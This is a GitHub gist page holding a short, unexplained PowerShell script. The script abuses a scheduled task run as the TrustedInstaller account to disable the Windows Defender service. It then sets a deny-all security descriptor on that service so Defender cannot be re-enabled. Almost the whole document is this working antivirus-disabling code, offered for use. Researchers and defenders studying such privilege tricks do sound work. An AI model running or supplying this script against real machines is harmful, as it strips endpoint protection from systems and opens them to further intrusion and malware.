Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@tyranid
Created May 4, 2020 15:17
Show Gist options
  • Star 40 You must be signed in to star a gist
  • Fork 25 You must be signed in to fork a gist
  • Save tyranid/c65520160b61ec851e68811de3cd646d to your computer and use it in GitHub Desktop.
Save tyranid/c65520160b61ec851e68811de3cd646d to your computer and use it in GitHub Desktop.
Something or other.
$cmdline = '/C sc.exe config windefend start= disabled && sc.exe sdset windefend D:(D;;GA;;;WD)(D;;GA;;;OW)'
$a = New-ScheduledTaskAction -Execute "cmd.exe" -Argument $cmdline
Register-ScheduledTask -TaskName 'TestTask' -Action $a
$svc = New-Object -ComObject 'Schedule.Service'
$svc.Connect()
$user = 'NT SERVICE\TrustedInstaller'
$folder = $svc.GetFolder('\')
$task = $folder.GetTask('TestTask')
$task.RunEx($null, 0, 0, $user)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment